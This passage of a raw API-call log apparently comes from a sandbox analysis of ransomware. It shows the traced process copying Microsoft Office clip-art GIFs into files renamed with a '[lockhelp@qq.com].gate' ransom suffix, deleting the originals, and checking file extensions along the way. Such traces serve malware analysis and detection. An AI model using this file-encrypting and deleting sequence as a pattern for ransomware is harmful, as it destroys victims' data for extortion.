[0319.669] CloseHandle (hObject=0x378) returned 1 [0319.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0319.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.670] lstrlenW (lpString=".doc") returned 4 [0319.670] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.670] lstrlenW (lpString=".docx") returned 5 [0319.670] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.670] lstrlenW (lpString=".pdf") returned 4 [0319.670] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.670] lstrlenW (lpString=".xls") returned 4 [0319.670] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.670] lstrlenW (lpString=".xlsx") returned 5 [0319.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.670] lstrlenW (lpString=".ppt") returned 4 [0319.670] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.670] lstrlenW (lpString=".zip") returned 4 [0319.670] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.670] lstrlenW (lpString=".rar") returned 4 [0319.670] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.670] lstrlenW (lpString=".bz2") returned 4 [0319.670] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.670] lstrlenW (lpString=".7z") returned 3 [0319.670] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.670] lstrlenW (lpString=".dbf") returned 4 [0319.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.670] lstrlenW (lpString=".1cd") returned 4 [0319.670] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.671] lstrlenW (lpString=".jpg") returned 4 [0319.671] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.671] lstrlenW (lpString=".doc") returned 4 [0319.671] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.671] lstrlenW (lpString=".docx") returned 5 [0319.671] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.671] lstrlenW (lpString=".pdf") returned 4 [0319.671] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.671] lstrlenW (lpString=".xls") returned 4 [0319.671] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.671] lstrlenW (lpString=".xlsx") returned 5 [0319.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.671] lstrlenW (lpString=".ppt") returned 4 [0319.671] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.671] lstrlenW (lpString=".zip") returned 4 [0319.671] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.671] lstrlenW (lpString=".rar") returned 4 [0319.671] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.671] lstrlenW (lpString=".bz2") returned 4 [0319.671] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.671] lstrlenW (lpString=".7z") returned 3 [0319.671] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.671] lstrlenW (lpString=".dbf") returned 4 [0319.671] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.672] lstrlenW (lpString=".1cd") returned 4 [0319.672] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0319.672] lstrlenW (lpString=".jpg") returned 4 [0319.672] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.672] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.672] lstrlenW (lpString="AG00126_.GIF") returned 12 [0319.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.672] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=3140) returned 1 [0319.672] CloseHandle (hObject=0x378) returned 1 [0319.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0319.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.673] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.673] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.673] GetLastError () returned 0x0 [0319.673] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0xc44, lpOverlapped=0x0) returned 1 [0319.674] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xc50, lpOverlapped=0x0) returned 1 [0319.675] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.675] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0319.675] SetEndOfFile (hFile=0x37c) returned 1 [0319.675] CloseHandle (hObject=0x37c) returned 1 [0319.675] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.675] SetEndOfFile (hFile=0x378) returned 1 [0319.676] CloseHandle (hObject=0x378) returned 1 [0319.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0319.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.676] lstrlenW (lpString=".doc") returned 4 [0319.676] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.676] lstrlenW (lpString=".docx") returned 5 [0319.676] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.677] lstrlenW (lpString=".pdf") returned 4 [0319.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.677] lstrlenW (lpString=".xls") returned 4 [0319.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.677] lstrlenW (lpString=".xlsx") returned 5 [0319.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.677] lstrlenW (lpString=".ppt") returned 4 [0319.677] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.677] lstrlenW (lpString=".zip") returned 4 [0319.677] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.677] lstrlenW (lpString=".rar") returned 4 [0319.677] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.677] lstrlenW (lpString=".bz2") returned 4 [0319.677] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.677] lstrlenW (lpString=".7z") returned 3 [0319.677] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.677] lstrlenW (lpString=".dbf") returned 4 [0319.677] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.677] lstrlenW (lpString=".1cd") returned 4 [0319.677] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.677] lstrlenW (lpString=".jpg") returned 4 [0319.677] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.677] lstrlenW (lpString=".doc") returned 4 [0319.678] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.678] lstrlenW (lpString=".docx") returned 5 [0319.678] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.678] lstrlenW (lpString=".pdf") returned 4 [0319.678] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.678] lstrlenW (lpString=".xls") returned 4 [0319.678] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.678] lstrlenW (lpString=".xlsx") returned 5 [0319.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.678] lstrlenW (lpString=".ppt") returned 4 [0319.678] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.678] lstrlenW (lpString=".zip") returned 4 [0319.678] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.678] lstrlenW (lpString=".rar") returned 4 [0319.678] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.678] lstrlenW (lpString=".bz2") returned 4 [0319.678] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.678] lstrlenW (lpString=".7z") returned 3 [0319.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.678] lstrlenW (lpString=".dbf") returned 4 [0319.678] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.678] lstrlenW (lpString=".1cd") returned 4 [0319.678] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0319.678] lstrlenW (lpString=".jpg") returned 4 [0319.678] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.679] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.679] lstrlenW (lpString="AG00129_.GIF") returned 12 [0319.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.679] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=12482) returned 1 [0319.679] CloseHandle (hObject=0x378) returned 1 [0319.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0319.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.683] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.683] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.683] GetLastError () returned 0x0 [0319.683] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x30c2, lpOverlapped=0x0) returned 1 [0319.684] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x30d0, lpOverlapped=0x0) returned 1 [0319.685] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.685] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0319.685] SetEndOfFile (hFile=0x37c) returned 1 [0319.685] CloseHandle (hObject=0x37c) returned 1 [0319.685] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.685] SetEndOfFile (hFile=0x378) returned 1 [0319.686] CloseHandle (hObject=0x378) returned 1 [0319.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0319.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.687] lstrlenW (lpString=".doc") returned 4 [0319.687] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.687] lstrlenW (lpString=".docx") returned 5 [0319.687] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.687] lstrlenW (lpString=".pdf") returned 4 [0319.687] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.687] lstrlenW (lpString=".xls") returned 4 [0319.687] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.687] lstrlenW (lpString=".xlsx") returned 5 [0319.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.687] lstrlenW (lpString=".ppt") returned 4 [0319.687] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.687] lstrlenW (lpString=".zip") returned 4 [0319.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.687] lstrlenW (lpString=".rar") returned 4 [0319.687] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.687] lstrlenW (lpString=".bz2") returned 4 [0319.687] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.687] lstrlenW (lpString=".7z") returned 3 [0319.687] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.688] lstrlenW (lpString=".dbf") returned 4 [0319.688] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.688] lstrlenW (lpString=".1cd") returned 4 [0319.688] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.688] lstrlenW (lpString=".jpg") returned 4 [0319.688] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.688] lstrlenW (lpString=".doc") returned 4 [0319.688] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.688] lstrlenW (lpString=".docx") returned 5 [0319.688] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.688] lstrlenW (lpString=".pdf") returned 4 [0319.688] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.688] lstrlenW (lpString=".xls") returned 4 [0319.688] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.688] lstrlenW (lpString=".xlsx") returned 5 [0319.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.688] lstrlenW (lpString=".ppt") returned 4 [0319.688] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.688] lstrlenW (lpString=".zip") returned 4 [0319.688] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.688] lstrlenW (lpString=".rar") returned 4 [0319.688] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.688] lstrlenW (lpString=".bz2") returned 4 [0319.688] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.688] lstrlenW (lpString=".7z") returned 3 [0319.688] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.688] lstrlenW (lpString=".dbf") returned 4 [0319.689] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.689] lstrlenW (lpString=".1cd") returned 4 [0319.689] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0319.689] lstrlenW (lpString=".jpg") returned 4 [0319.689] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.689] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.689] lstrlenW (lpString="AG00130_.GIF") returned 12 [0319.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.689] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5253) returned 1 [0319.689] CloseHandle (hObject=0x378) returned 1 [0319.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0319.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.690] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.690] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.690] GetLastError () returned 0x0 [0319.690] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x1485, lpOverlapped=0x0) returned 1 [0320.025] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1490, lpOverlapped=0x0) returned 1 [0320.026] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.026] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.026] SetEndOfFile (hFile=0x37c) returned 1 [0320.026] CloseHandle (hObject=0x37c) returned 1 [0320.026] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.026] SetEndOfFile (hFile=0x378) returned 1 [0320.027] CloseHandle (hObject=0x378) returned 1 [0320.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0320.028] 